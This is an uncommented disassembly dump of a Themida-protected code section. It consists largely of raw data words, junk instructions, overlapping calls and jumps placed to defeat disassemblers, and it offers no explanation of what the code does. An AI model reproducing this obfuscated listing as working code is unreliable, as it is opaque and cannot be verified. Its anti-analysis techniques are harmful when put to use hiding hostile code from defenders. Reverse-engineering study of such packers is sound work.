dd 0BFD1BF0Fh, 59AE2B21h, 8AFBB70Fh, 0D68B66F7h, 82B4C28Bh
dd 6F7DBA66h, 60CA8B66h, 0FC78166h, 8161F823h, 74BFDCF2h
dd 74B96628h, 0FB8B660Fh, 1F880Fh, 14E80000h, 0BB000000h
dd 5DDDB6A3h, 48C48A61h, 469EF312h, 8FB456F5h, 0B97A5041h
dd 3C037FAAh, 0A0E3805Eh, 8166F38Bh, 0F46F7C8h, 18Fh, 8A51F800h
dd 14E95EFAh, 2D000000h, 8E07AEB8h, 0D52F4BE8h, 0E2CA339h
dd 936BA091h, 6647E7BCh, 8B6CC5B8h, 98D0FC6h, 0F000000h
dd 38Ch, 26E98000h, 0F77D24B9h, 80F18A4Dh, 81505DD2h, 59B8F2D1h
dd 8B665939h, 38EF81CEh, 0F1E667Fh, 2081h, 0DE800h, 9B7A0000h
dd 77303930h, 72936124h, 0E8F27677h, 7, 2B0FC7Dh, 59684932h
dd 0C0BF0F5Ah, 80D3B70Fh, 8166D9D7h, 810123D6h, 49A8B1DAh
dd 0FD08B43h, 8Eh, 227BBE00h, 0D78051DCh, 8B0F6095h, 0
; ---------------------------------------------------------------------------
mov al, 0D8h
popa
and al, 20h
jmp loc_5B5490
; ---------------------------------------------------------------------------
db 6Fh
db 89h, 0E4h
dw 0B615h
; ---------------------------------------------------------------------------
loc_5B5490: ; CODE XREF: Themida_:005B5486j
add cx, 52B4h
mov di, 0BEC0h
pusha
push edi
mov dx, di
pop esi
jo loc_5B54BA
jmp loc_5B54BA
; ---------------------------------------------------------------------------
dw 1AD2h
dd 6577F722h, 4B88BB06h, 3C5F7E8Fh
db 0C0h, 98h
; ---------------------------------------------------------------------------
loc_5B54BA: ; CODE XREF: Themida_:005B549Fj
; Themida_:005B54A5j
popa
mov ecx, 300A3E3Fh
mov dl, ah
mov edx, edi
jmp loc_5B54D5
; ---------------------------------------------------------------------------
db 17h, 38h, 0E6h
dd 0C674F779h, 0FD14BAA2h
db 0D0h
; ---------------------------------------------------------------------------
loc_5B54D5: ; CODE XREF: Themida_:005B54C4j
and ax, 7343h
jp loc_5B54E4
mov ax, 0E140h
loc_5B54E4: ; CODE XREF: Themida_:005B54DAj
mov esi, 14B63277h
xor dh, 2Fh
jmp loc_5B54FA
; ---------------------------------------------------------------------------
db 3Ah, 18h, 0E7h
dd 0AF7510D3h
; ---------------------------------------------------------------------------
or al, 87h
loc_5B54FA: ; CODE XREF: Themida_:005B54ECj
stc
sbb di, 0F787h
mov edi, esi
mov bh, 0ACh
mov ax, bx
mov bl, 0CFh
mov bl, 0A1h
sbb ecx, 3C72DF35h
mov eax, edi
jmp loc_5B551D
; ---------------------------------------------------------------------------
dd 59F85D8Ah
db 7Ch
; ---------------------------------------------------------------------------
loc_5B551D: ; CODE XREF: Themida_:005B5513j
call near ptr loc_5B552A+4
dec esp
db 26h
enter 0FFFFD267h, 0FEh
jp short loc_5B558B
loc_5B552A: ; CODE XREF: Themida_:loc_5B551Dp
mov [esi-70F03901h], edx
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
pop edx
adc dx, 4475h
sbb edi, 6078CFA6h
mov esi, 4711299Ch
jmp loc_5B5551
; ---------------------------------------------------------------------------
dw 809Ch
dd 4C526BD1h
db 0E3h
; ---------------------------------------------------------------------------
loc_5B5551: ; CODE XREF: Themida_:005B5545j
jmp loc_5B5563
; ---------------------------------------------------------------------------
dw 5B41h
dd 0DC8896A8h, 2771FAD9h
db 0ECh, 64h, 9Ch
; ---------------------------------------------------------------------------
loc_5B5563: ; CODE XREF: Themida_:loc_5B5551j
mov si, 0C7BEh
jmp loc_5B557F
; ---------------------------------------------------------------------------
dd 368CBE25h, 5A531001h, 6574ACD0h, 75CA2325h
db 51h, 54h, 0C5h
; ---------------------------------------------------------------------------
loc_5B557F: ; CODE XREF: Themida_:005B5567j
add di, 8FA6h
mov edi, 616C7642h
; ---------------------------------------------------------------------------
db 0Fh, 82h
; ---------------------------------------------------------------------------
loc_5B558B: ; CODE XREF: Themida_:005B5528j
or al, 0
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 68Ch, 810F00h, 80000000h, 3EB9C3C7h, 0E848E541h, 14h
dd 205E8AA3h, 790EE4ACh, 4103C8Fh, 4D4FFF55h, 52BCF085h
dd 5B9BC280h, 10E9h, 0D6E0AE00h, 7A053678h, 0FCD1E26h
dd 211EB213h, 6660511Ch, 685DEA81h, 5A1ACB81h, 5B611DAEh
dd 10870Fh, 0BE90000h, 1C000000h, 0F2B1E4F5h, 8028B76Ch
dd 9E9DDEDh, 3C000000h, 0D02ADD7h, 61BF4F81h, 66D2BF0Fh
dd 3DBEF381h, 8EB1D08Bh, 3AC2BABFh, 0D3BF0F3Ah, 60D38166h
dd 13BB6697h, 66D78BE1h, 7B6AC181h, 80F6E680h, 8BF833C9h
dd 66C88BD1h, 14E9F18Bh, 0B3000000h, 293DF0ECh, 9ED0FC1Dh
dd 0BF5E0385h, 72997FA6h, 0F9C36ED5h, 3A0BEF9h, 0E781235Fh
dd 5B105BD6h, 81D78B60h, 0B55FFFCBh, 0F38B6114h, 668DCE80h
dd 0BA66D78Bh, 11E93262h, 71000000h, 74D68431h, 0FA271F17h
dd 83B9A2BFh, 0B78B4823h, 10E8h, 0E0FD6400h, 0F1E8A44Fh
dd 730BE397h, 50FCF53h, 8B5EF8C9h, 0D1E081F1h, 0F54F157h
dd 683h, 62CB8100h, 0E96DD8EBh, 7, 5054464Fh, 0F032B17h
dd 0A80h, 4870F00h, 66000000h, 81FCF2BBh, 0CFEE94C3h, 0C68B6607h
dd 8BD6BF0Fh, 0B5BF66CAh, 5E98Dh, 36B00000h, 8BB237CDh
dd 816660C3h, 66190DE7h, 0BF61FB8Bh, 0B2F61CBh, 11E956FCh
dd 0E1000000h, 0C7D24675h, 0C270CD39h, 0F91DD4A7h, 95B9BCEDh
dd 0FBB70F58h, 8AD68B66h, 0FE9D1h, 6F30000h, 0AD381A9h
dd 0BC1FA6DFh, 68BF00F3h, 0F6060B3h, 6661D8B7h, 61C9FBBFh
dd 0C15D17BAh, 32F18158h, 0F92A6C9Ah, 28F0Fh, 0D18B0000h
dd 0DC8AD68Bh, 0BB66D38Bh, 0C8801721h, 0EE967h, 0DC60000h
dd 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh, 6E9h, 533F4F00h
dd 0E9904B9Bh, 14h, 49A6F1E9h, 553F41C4h, 495006B8h, 0B889FBDEh
dd 0DEE47CCAh, 6E9E68Ah, 88000000h, 0F7434571h, 8E88Eh
dd 0A0610000h, 975C901Bh, 5FF570A4h, 800F38B4h, 0
; ---------------------------------------------------------------------------
mov esi, 703B7E89h
push edx
sub al, 6Bh
pop esi
jmp loc_5B57DB
; ---------------------------------------------------------------------------
db 91h
dd 0BB62790Bh, 0EC987754h, 28E3C667h
db 1Ch, 0A7h, 0DEh
; ---------------------------------------------------------------------------
loc_5B57DB: ; CODE XREF: Themida_:005B57C6j
push ecx
ja loc_5B57E4
push ebx
pop esi
loc_5B57E4: ; CODE XREF: Themida_:005B57DCj
pop esi
and dl, 2Fh
mov ecx, 3AB3735Ch
mov eax, 78EC49FCh
jo loc_5B57FB
mov ax, bx
loc_5B57FB: ; CODE XREF: Themida_:005B57F2j
clc
jmp loc_5B580B
; ---------------------------------------------------------------------------
db 0FBh, 6Eh, 9
dd 4FC1B5BBh
db 0FFh, 99h, 0F2h
; ---------------------------------------------------------------------------
loc_5B580B: ; CODE XREF: Themida_:005B57FCj
mov eax, 0CD46AAFh
jmp loc_5B5828
; ---------------------------------------------------------------------------
db 0DAh, 0ACh, 0C6h
dd 5D3937AAh, 714B465h, 0C0B12204h, 7B9DB7C7h
; ---------------------------------------------------------------------------
loc_5B5828: ; CODE XREF: Themida_:005B5810j
add ah, 41h
add bh, 74h
mov ah, 61h
jmp loc_5B583A
; ---------------------------------------------------------------------------
xchg bl, [esi]
lodsd
retn
; ---------------------------------------------------------------------------
db 0Ch
; ---------------------------------------------------------------------------
loc_5B583A: ; CODE XREF: Themida_:005B5830j
jnb loc_5B585A
jo loc_5B585A
jmp loc_5B585A
; ---------------------------------------------------------------------------
db 0Bh
; ---------------------------------------------------------------------------
sbb dh, ch
mov esi, 5F50CC87h
push ds
les ebx, [ebx]
mov [ebx-2Ch], ah
loc_5B585A: ; CODE XREF: Themida_:loc_5B583Aj
; Themida_:005B5840j ...
call sub_5B5864
xor ch, 60h
add al, 0A5h
; =============== S U B R O U T I N E =======================================
sub_5B5864 proc near ; CODE XREF: Themida_:loc_5B585Ap
; FUNCTION CHUNK AT 005B588C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005B58C4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 005B5916 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005B5949 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005B597C SIZE 00000025 BYTES
push edi
pop ebx
pop ebx
mov ax, 0B2CFh
call near ptr loc_5B5881+1
jo short loc_5B58C4
adc esp, edi
movsb
add dh, al
cmpsb
inc eax
nop
or ecx, [esi+25C7CE24h]
dec ebp
loc_5B5881: ; CODE XREF: sub_5B5864+7p
rep jmp loc_5B588C
sub_5B5864 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
lahf
push edi
or [esi+edi*2], dh
; START OF FUNCTION CHUNK FOR sub_5B5864
loc_5B588C: ; CODE XREF: sub_5B5864:loc_5B5881j
pop eax
movsx edi, si
movzx ebx, ax
jo loc_5B589C
movsx esi, si
loc_5B589C: ; CODE XREF: sub_5B5864+2Fj
mov edi, edx
cmc
call near ptr loc_5B58AF+4
inc edi
jnb short loc_5B5916
adc byte ptr ds:2D348DC4h, 0FFh
xlat
loc_5B58AF: ; CODE XREF: sub_5B5864+3Bp
db 36h
jmp far ptr 8:0E9576BBEh
; END OF FUNCTION CHUNK FOR sub_5B5864
; ---------------------------------------------------------------------------
align 4
dd 0A093EF00h, 2298ED1Dh, 0E85A5F7Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5864
loc_5B58C4: ; CODE XREF: sub_5B5864+Cj
adc al, [eax]
; END OF FUNCTION CHUNK FOR sub_5B5864
; ---------------------------------------------------------------------------
dw 0
dd 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh, 0EBE6943h
dd 5B286FABh, 13E8h, 32227700h, 34B5E429h, 198CD795h, 0DB3B86C7h
dd 601D4FBh, 0E6333ABEh, 880F5867h, 2, 6E9DE8Bh, 0D1000000h
dd 0B3A39FAh, 0F2BF0F68h
db 66h, 8Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5864
loc_5B5916: ; CODE XREF: sub_5B5864+41j
sar ecx, 81h
icebp
add [ecx-287ED980h], ebp
sbb ax, 552h
add edi, 5B1C2344h
mov esi, 31668384h
mov eax, 56B6776Ah
xor si, 605Fh
xor ah, 24h
mov si, cx
jmp loc_5B5949
; END OF FUNCTION CHUNK FOR sub_5B5864
; ---------------------------------------------------------------------------
dd 7D81ABE7h
db 69h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5864
loc_5B5949: ; CODE XREF: sub_5B5864+DBj
pusha
and ah, 54h
mov di, 13Bh
popa
mov ecx, ebx
adc esi, 12281536h
or dx, 14CDh
push esi
sbb ch, 62h
pop edi
mov edx, edi
mov cl, 0DEh
movzx ebx, di
jmp loc_5B597C
; END OF FUNCTION CHUNK FOR sub_5B5864
; ---------------------------------------------------------------------------
dd 149489BFh, 0AE981927h, 8FAEF0A7h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5864
loc_5B597C: ; CODE XREF: sub_5B5864+107j
call near ptr loc_5B598E+1
mov edx, [esi+72h]
fsubr qword ptr [ebx]
push ss
imul edi, ecx, 33h
pusha
push edx
arpl [esi], sp
loc_5B598E: ; CODE XREF: sub_5B5864:loc_5B597Cp
aad 80h
mov byte ptr [esi+46ACBB59h], 0B0h
imul ecx, [edi], -41h
mov dword ptr [eax-0Bh], 14E85Ah
; END OF FUNCTION CHUNK FOR sub_5B5864
; ---------------------------------------------------------------------------
db 2 dup(0), 0DDh
dd 9AC5744Ch, 5E68C42Ah, 880AA2B6h, 15870D80h, 0FEDF377h
dd 0E95ED2BFh, 0Bh, 0D92F9F38h, 40FF405Bh, 0F5C1933h, 1589h
dd 10E900h, 2EE80000h, 0DAAFB380h, 637247A3h, 699B9906h
dd 0E9F598EBh, 0Ah, 0C59C4DC4h, 8161C232h, 8166E85Bh, 8A64AEEEh
dd 0B6C281D8h, 511DBA3Ch, 28C0Fh, 0CA8B0000h, 0C8B70F58h
dd 0FE85F50h, 0C000000h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h
dd 8E0F249Eh, 5, 15E88166h, 0D5805F97h, 7BEA80F8h, 4840Fh
dd 0BF660000h, 13E81BE5h, 7B000000h, 5E97867Bh, 16396EABh
dd 4C049919h, 0D2E2F1EDh, 5AF97C2Bh, 0F53ED80h, 489h, 0D5BE6600h
dd 6681B422h, 8B0FCA8Bh, 18h, 13E9h, 1E8300h, 0DA761F0h
dd 374063D4h, 0A58143CFh, 4ADD949h, 0E91ED580h, 6, 5C901BA0h
dd 0BA66A497h, 0E852B6B8h, 0Fh, 706786CBh, 0D2B5D2BCh
dd 47EFE794h, 0F0F5B5Eh, 85h, 0BA5A5F00h, 125429BFh, 69D88166h
dd 5800FF5h, 66000000h, 633CDA81h, 0F28B6051h, 5F615EB7h
dd 0DBBB8B6h, 66702BB5h, 81B5DDBBh, 41DD92C0h, 0D88AF546h
dd 4103BA66h, 14E9h, 4309000h, 0E1D66B75h, 595F011Fh, 4D80C8B9h
dd 0B57EC520h, 66FE8B96h, 0B872B2BFh, 36A3818Eh, 5AF18B50h
dd 66ACD580h, 39D6C081h, 27FFC381h, 0D1814FE3h, 26B23597h
dd 2285B966h, 60D8BF0Fh, 0ED8060F5h, 10E8ACh, 45E90000h
dd 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h, 615BBB58h, 0C7B5BF61h
dd 0F6024B7h, 488h, 8DB86600h, 10E961C0h, 0BE000000h, 3972F59Ah
dd 0FED82102h, 6B708C20h, 0E9F6F2C3h, 7, 2D9F0681h, 0FC62E548h
dd 920A14BBh, 0ECE38144h, 0E851B635h, 5, 46A6A4FDh, 0D9B70F4Dh
dd 870F59h, 0E8000000h, 0Eh, 3AE6EBBFh, 0F3355722h, 9666EDABh
dd 0D081898Eh, 60554FF7h, 0D68B6659h, 80C28B66h, 0F5073E7h
dd 28Ch, 5FF08B00h, 0B270BFF5h, 6CBE6167h, 603A254Fh, 0F78B66F9h
dd 0DFB1F561h, 53D78B66h, 11E8h, 980DC300h, 0AD49F142h
dd 47248D34h, 0ED1A9F7Dh, 0EE84A9Fh, 9F000000h, 5EE0A6E6h
dd 0E05277BEh, 0A575664Ah, 58595E25h, 820FCA8Bh, 15h, 10E9h
dd 0DABCB800h, 5F9C3FB2h, 0EA97F28Ah, 5B85A605h, 19830F6Ch
dd 0E9000000h, 14h, 0C2D4A6D2h, 0CC8A7923h, 0FE0F62C5h
dd 0C2D223ADh, 2DEF8D41h, 4890Fh, 50520000h, 13E95858h
dd 7B000000h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh
dd 0BF0F32E1h, 0D7B70FF1h, 3840Fh, 8B660000h, 8B6660FAh
dd 28F0FCEh, 0B3000000h, 0A2B66187h, 0E8C7BF0Fh, 0Bh, 801FE1Bh
dd 9AAACB8Eh, 5B4E4BB9h, 0CE9h, 8361F400h, 9CACB84Bh, 6DB2103Ah
dd 0F9AABE16h, 13E90407h, 0F2000000h, 0FC50B333h, 8D709E15h
dd 0D089628h, 3F2AF7FFh, 5257EFC4h, 8E9h, 72452600h, 19BDEEE9h
dd 0F85A59F6h, 8A0FD98Bh, 5, 4B14A8BBh, 128F0F35h, 0E9000000h
dd 0Dh, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0C78166E6h
dd 0EE8A5480h, 0B6B4D281h, 0CE8B7DC7h, 28D0Fh, 12B60000h
dd 0FABF0F60h, 6661D48Ah, 1B4BF181h, 91F5E381h, 0D08B3615h
dd 0E902F080h, 0Fh, 0EE1F0848h, 0D7B8ECDBh, 47783D39h
dd 0F9FEA71h, 8B66DBBFh, 8850FD0h, 0F000000h, 282h, 506CB300h
dd 880F5EF9h, 3, 8BD08B66h, 1EA81D6h, 800468D0h, 0EBB799E2h
dd 26E38160h, 660A09D5h, 6139DFBBh, 0DE9h, 702DF700h, 49E80C62h
dd 0FA26DC6h, 0D781E73Eh, 67EEA4F0h, 7E9h, 0DE2EDE00h
dd 6C2DFBB2h, 6E9AE181h, 0BF66344Bh, 8B66F7C5h, 0A5DF80C8h
dd 3712BE66h, 6E9h, 34AD4900h, 8A47248Dh, 0FEB70FD9h, 5850Fh
dd 81660000h, 0F5A1D0E2h, 0EFC78060h, 880F60h, 0F000000h
dd 82h, 0F616100h, 8Ch, 840F6000h, 5, 0C85E29B8h, 6160534Fh
dd 0EA80615Bh, 0DE921h, 39E10000h, 0B08280D7h, 0B282BA68h
dd 8A3107F7h, 2DB9F8E3h, 605EE91Eh, 6E9h, 0BB85C600h, 66F9C441h
dd 61E7DABEh, 0CE8h, 0CCAEAF00h, 6472CE29h, 8E1C98Ah, 58DE8BEEh
dd 1EE6F781h, 6660490Fh, 71ACCB81h, 17A11BBBh, 8160610Eh
dd 0C3EBA1C3h, 0BFBE5629h, 583D2A8Ah, 0B8A0F61h, 0E9000000h
dd 6, 4AC833C1h, 5756605Eh, 60D4BA66h, 0E4805F5Bh, 38DE8036h
dd 0EE9h, 11F4F700h, 64C8FDBCh, 230FE68h, 813677B2h, 52D528F7h
dd 0E9DF8B3Dh, 0Ch, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 81D78BF9h
dd 124A71DEh, 13E80Fh, 76A0000h, 54577B0Ah, 187898F3h
dd 96095395h, 371A097Fh, 6E829h, 0B8560000h, 1F092A91h
dd 5A4AEC80h, 0F8BF0F59h, 13E9h, 3CEF5600h, 861D3B70h
dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 0FE9A6B5h, 78000000h
dd 0F04E443Ah, 17454D8Fh, 9B2993C6h, 65B3BFD9h, 0AEFD081h
dd 0D181511Eh, 2150157Fh, 870F5250h, 0
; ---------------------------------------------------------------------------
pop eax
pop edx
jl loc_5B5F32
mov ebx, edi
loc_5B5F32: ; CODE XREF: Themida_:005B5F2Aj
pusha
call loc_5B5F3F
fnsave byte ptr [ecx+53E05169h]
stosb
loc_5B5F3F: ; CODE XREF: Themida_:005B5F33p
xor ax, 16C7h
pop esi
popa
mov cx, 0A3h
pusha
jb loc_5B5F54
mov si, ax
loc_5B5F54: ; CODE XREF: Themida_:005B5F4Bj
mov eax, 1D4F0B06h
popa
jg loc_5B5F65
push esi
movzx edx, di
pop edx
loc_5B5F65: ; CODE XREF: Themida_:005B5F5Aj
jmp loc_5B5F7A
; ---------------------------------------------------------------------------
dw 6251h
dd 1E37D923h, 0FF8A4AACh, 5D08C6AAh
db 7Eh, 1Dh
; ---------------------------------------------------------------------------
loc_5B5F7A: ; CODE XREF: Themida_:loc_5B5F65j
add si, 0C355h
add dx, 7BBh
movzx esi, cx
jns loc_5B5F95
pusha
mov dx, bx
movzx eax, bx
popa
loc_5B5F95: ; CODE XREF: Themida_:005B5F87j
mov cx, 4184h
movsx ecx, di
push ebx
jmp loc_5B5FB2
; ---------------------------------------------------------------------------
dw 6320h
dd 0F5A719ACh, 628587FDh, 6C35964Fh
db 0C0h, 0E8h
; ---------------------------------------------------------------------------
loc_5B5FB2: ; CODE XREF: Themida_:005B5F9Dj
pop edx
jmp loc_5B5FC4
; ---------------------------------------------------------------------------
dd 601D8558h, 0AE83AE9Ch, 0BBD29258h
; ---------------------------------------------------------------------------
loc_5B5FC4: ; CODE XREF: Themida_:005B5FB3j
sbb cx, 0B8F7h
cld
stc
jz loc_5B5FD6
sub di, 1B64h
loc_5B5FD6: ; CODE XREF: Themida_:005B5FCBj
mov di, 6157h
mov edi, 5E35913h
cmc
xor si, 92A3h
mov cx, 0CB94h
mov bx, ax
jmp loc_5B5FF6
; ---------------------------------------------------------------------------
add al, 0A5h
fdivp st(7), st
pop esi
loc_5B5FF6: ; CODE XREF: Themida_:005B5FECj
movzx edi, bx
movsx ebx, bx
push esi
mov bh, 0EAh
pop ebx
push esi
and si, 6EADh
pop esi
call near ptr sub_5B6015
xchg cl, dl
cli
inc esp
; ---------------------------------------------------------------------------
dd 0E090CF8Eh
; ---------------------------------------------------------------------------
cwde
; =============== S U B R O U T I N E =======================================
sub_5B6015 proc far ; CODE XREF: Themida_:005B6007p
; FUNCTION CHUNK AT 005B60CF SIZE 00000006 BYTES
movsx eax, di
pop ebx
jmp loc_5B6032
; ---------------------------------------------------------------------------
dw 5773h
dd 69634BBCh, 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh
db 3Eh, 7Eh
; ---------------------------------------------------------------------------
loc_5B6032: ; CODE XREF: sub_5B6015+4j
mov ebx, 7C5FF06Ch
sub dl, 71h
or ax, 77ADh
jmp loc_5B604A
; ---------------------------------------------------------------------------
dd 29782F58h
db 42h, 18h
; ---------------------------------------------------------------------------
loc_5B604A: ; CODE XREF: sub_5B6015+2Aj
call near ptr loc_5B605B+4
setalc
push ecx
aaa
xor es:[ebx-1Bh], edx
fstp tbyte ptr [ebp+4Bh]
loop loc_5B60CF
loc_5B605B: ; CODE XREF: sub_5B6015:loc_5B604Ap
sub dword ptr [ecx+edi*4+0AE856A5h], 0
sub_5B6015 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 93AA9A00h, 908B2CDh, 5B930F4Dh, 0F08B5858h, 3880BF66h
dd 0BBA0DA80h, 4656A3C9h, 66A2E180h, 0E86197BAh, 9, 7C052862h
dd 0FF35BB89h, 3830F6Fh, 66000000h, 665ED08Bh, 53C982BEh
dd 8E85Eh, 4DF40000h, 0DE68444Ch, 0B1605CC4h, 0C88B6614h
dd 57B05F61h, 66F9BF0Fh, 57B8CE8Bh, 525525B4h, 48F0Fh
db 2 dup(0), 66h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B6015
loc_5B60CF: ; CODE XREF: sub_5B6015+44j
mov eax, 815B0CA5h
retf
; END OF FUNCTION CHUNK FOR sub_5B6015
; ---------------------------------------------------------------------------
db 43h, 2, 0D2h
dd 0D78B665Ah, 0B86645B3h, 800F6BFAh, 3, 0FD0BF0Fh, 0B70FFEBFh
dd 0F88B66D3h, 0B9D38166h, 81666042h, 0F3033E2h, 5061F1BFh
dd 0F959C18Bh, 870F14B3h, 2, 0F601FB2h, 8Eh, 0F88B6600h
dd 9D38161h, 0E856E237h, 0Bh, 9E634A77h, 0E8F1D336h, 0E92629B4h
dd 8, 79B0F9D6h, 0C112F6C9h, 0EB81665Eh, 66533B8Ch, 806AD981h
dd 0FCB46058h, 188C0Fh, 12E80000h, 0FC000000h, 3B5ADF0h
dd 1909CC8Eh, 6B043E5Ah, 37227A7h, 0F9615B1Dh, 10E9A9B3h
dd 96000000h, 51FC2CD9h, 25624BFDh, 0B029467Ah, 5325CFC9h
dd 0EE8h, 0A5746C00h, 10336CEh, 40BF685Bh, 582144F3h, 32E1815Ah
dd 665282DEh, 0B425CB81h, 0F0816651h, 8A5AEFDCh, 7BBE66EAh
dd 0FD68B8Ch, 81h, 0D6815000h, 77EA26ACh, 0FAED805Bh, 57C1BF0Fh
dd 3778B85Eh, 9CB36D57h, 75EA8166h, 21EE810Bh, 0E909F4A4h
dd 0Bh, 5F59ED84h, 0E15D5DA1h, 0E9AFE7D4h, 11h, 0D6047B61h
dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 7E904h, 0D22F0000h
dd 37DB2776h, 850F5300h, 2, 605AD98Bh, 73EA80FCh, 0B72FBA61h
dd 0BF602123h, 234FFF55h, 6699B561h, 51915AB8h, 5F89B456h
dd 8B66F959h, 0CE8166F7h, 0EE92A46h, 2A000000h, 0E009A541h
dd 9281069Bh, 0DC943161h, 13E9A5h, 0D5C20000h, 925A457Eh
dd 23C56F2Ch, 92B9B32Ah, 948E189h, 8060608Dh, 8A0F3DE7h
dd 0
dd 0F18B6661h, 0FE861h, 42A0000h, 0FC04C927h, 791A93C9h
dd 9965E033h, 58AEB4B8h, 0AE9h, 886AC900h, 4C995160h, 0FE8AB70h
dd 286h, 60F18B00h, 81D38B66h, 364A92D0h, 66F56141h, 0BF0FC38Bh
dd 0CB8B66F2h, 11E9h, 4DEEF900h, 4EA3132Eh, 0D88652D5h
dd 9F5D9B2Dh, 8B0FB13Ah, 1, 0F28166F9h, 7E9410Bh, 3E000000h
dd 7FD12C9Ch, 5F5793DAh, 9AD38166h, 3DEA805Ch, 5E9FCh
dd 6EF0000h, 8136E26Dh, 0ABBE2BE0h, 0DFBF0F76h, 58B0Fh
dd 81660000h, 0BE72D4EFh, 58D8E8ABh, 0FE8h, 87CF3B00h
dd 686647h, 25843EDAh, 0F23F282Ch, 6E9h, 634EC900h, 5911B302h
dd 8B2BF780h, 13E960C1h, 41000000h, 42419191h, 0F78E9C40h
dd 0FAA31F73h, 0F8712503h, 0BA66ACFDh, 0FC6152EEh, 0E8E641B9h
dd 198F0F79h, 60000000h, 0CE9h, 0DFE81200h, 34C9F734h
dd 0B38C3109h, 8C0F7Bh, 61000000h, 59C28B50h, 0E9CF8B66h
dd 0Bh, 0DE4F3A05h, 0E5734561h, 0E899303Bh, 11h, 0C72C8AD9h
dd 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah, 58C78B74h, 5E576060h
dd 0CE8061F5h, 84B06144h, 0C281F48Ah, 20C77717h, 0DC9ABF60h
dd 8B533EDEh, 60615AC1h, 0FE9h, 0C9678500h, 92FC9744h
dd 7BBD70EEh, 596E0BB0h, 8B0FF960h, 0
dd 8B666161h, 0D0D0BAC2h, 8A0F213Ah, 5, 85CB74BEh, 6653B544h
dd 0F7C90BAh, 84h, 0BE900h, 0D2450000h, 18DC3984h, 25B494E9h
dd 13E9DCh, 16430000h, 494A65B3h, 67AE5D0h, 70AB3802h
dd 9E2BA430h, 89B8568Eh, 5E00837Ch, 0AFC98166h, 0E6BA66B2h
dd 0BBE60B6h, 0B125C7CEh, 0DE861A8h, 73000000h, 0F1A4C69Eh
dd 8144D31Bh, 58EBA920h, 0A291EB81h, 815E6F82h, 63F680DEh
dd 2890F38h, 0B6000000h, 66E58AA0h, 0F9F5F78Bh, 8E8h, 63526000h
dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h
dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h
dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah
dd 0FE7BD3E0h, 0E9406561h, 11h, 0BCF13FBDh, 0F875DBDDh
dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h
dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h, 7C000000h, 0DDCAFB61h
dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h
dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh
dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h
dd 8D30000h, 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h
dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h, 4962B85Fh
dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh
dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h, 8B6661C4h
dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h
dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h
dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh, 0C8BF0FF2h
dd 7E9h, 524A6400h, 0F0FC3D55h, 0FE9h, 8D2CF800h, 0EAC323ACh
dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h
dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h
dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h, 0A9000000h
dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h, 0B866C5B2h
dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h
dd 0B2EFACF9h, 148F0Fh, 0FE90000h, 0EA000000h, 0B1084A1Ah
dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0
dd 0BE8h, 7E623A00h, 9F5F17B4h, 0BE5DC8CCh, 8DC88160h
dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh, 0CA8B6660h
dd 6840Fh, 890F0000h, 0
dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h
dd 10E8h, 8A1AAA00h, 9123DA2Fh, 76575DE3h, 0F458B092h
dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h
dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h
dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h
dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h
